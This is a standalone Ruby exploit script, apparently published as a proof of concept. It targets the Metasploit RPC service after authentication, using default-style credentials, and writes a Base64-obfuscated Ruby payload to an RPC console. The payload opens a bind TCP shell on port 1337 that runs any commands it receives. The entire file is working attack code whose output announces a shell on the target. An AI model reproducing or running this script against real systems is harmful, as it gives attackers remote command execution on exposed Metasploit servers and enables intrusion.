#!/usr/bin/env ruby
################################################################################
# Metasploit RPC post-auth command execution exploit                           #
################################################################################
# ~ bcoles

require 'msfrpc-client' # gem install msfrpc-client
require 'base64'

@host = '127.0.0.1'
@port = '55552'
@user = 'msf'
@pass = 'msf'
@ssl  = true

@bind_port = 1337

def main
  connect
  get_version
  create_console
  execute
  cleanup

  puts
  puts "+ Done! You should now have a shell on #{@host}:#{@bind_port}"
end

def connect
  puts "* Connecting to #{@host}:#{@port}#{@ssl ? ' (SSL)' : ''}..."

  begin
    @rpc = Msf::RPC::Client.new :host => @host,
                                :port => @port,
                                :user => @user,
                                :pass => @pass,
                                :ssl  => @ssl
  rescue => e
    puts '- Error: connection failed:'
    puts e.to_s
    exit 1
  end

  puts '+ Connected successfully'

  if @rpc.token.nil?
    puts '- Error: authentication failed'
    exit 1
  end

  @token = @rpc.token
  puts '+ Authenticated successfully'
  puts "* Received temporary token: #{@token}"
  puts
end

def get_version
  version = @rpc.call 'core.version'
  puts '--- Server:'
  puts "* Metasploit #{version['version']}"
  puts "* Ruby #{version['ruby']}"
  puts "* API #{version['api']}"
  puts
end

def create_console
  res = @rpc.call 'console.create'

  if res.nil?
    puts '- Error: connection failed'
    exit 1
  end

  unless res['id'].to_s =~ /\A\d+\z/
    puts '- Error: could not create console'
    puts res.to_s
    exit 1
  end

  @console_id = res['id']
  puts "+ Created console ##{@console_id}"
end

def execute
  puts '* Sending payload...'
  res = @rpc.call 'console.write', @console_id, "\r\n#{payload}\r\n"

  if res.nil?
    puts '- Error: connection failed'
    exit 1
  end

  unless res['wrote'].to_s =~ /\A\d+\z/
    puts "- Error: could not write to console #{@console_id}:"
    puts res.to_s
    exit 1
  end

  puts "+ Wrote #{res['wrote']} bytes to console"
end

def payload
  bind_tcp = "code = %(#{Base64.strict_encode64("require 'socket';s=TCPServer.new(#{@bind_port});c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,'rb'){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }")}).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
  inp = IO.popen(%(ruby), %(wb)) rescue nil
  if inp
    inp.write(code)
    inp.close
  end
else
  if ! Process.fork()
    eval(code) rescue nil
  end
end"
  "ruby -e 'eval(%[#{Base64.strict_encode64(bind_tcp)}].unpack(%[m0]).first)'"
end

def cleanup
  puts '* Removing console...'
  res = @rpc.call 'console.destroy', @console_id

  if res.nil?
    puts '- Error: connection failed'
  end

  unless res['result'].eql? 'success'
    puts "- Error: could not destroy console ##{@console_id}:"
    puts res.to_s
    exit 1
  end

  puts "+ Destroyed console ##{@console_id}"
end

puts 'Metasploit RPC post-auth command execution exploit'
puts
main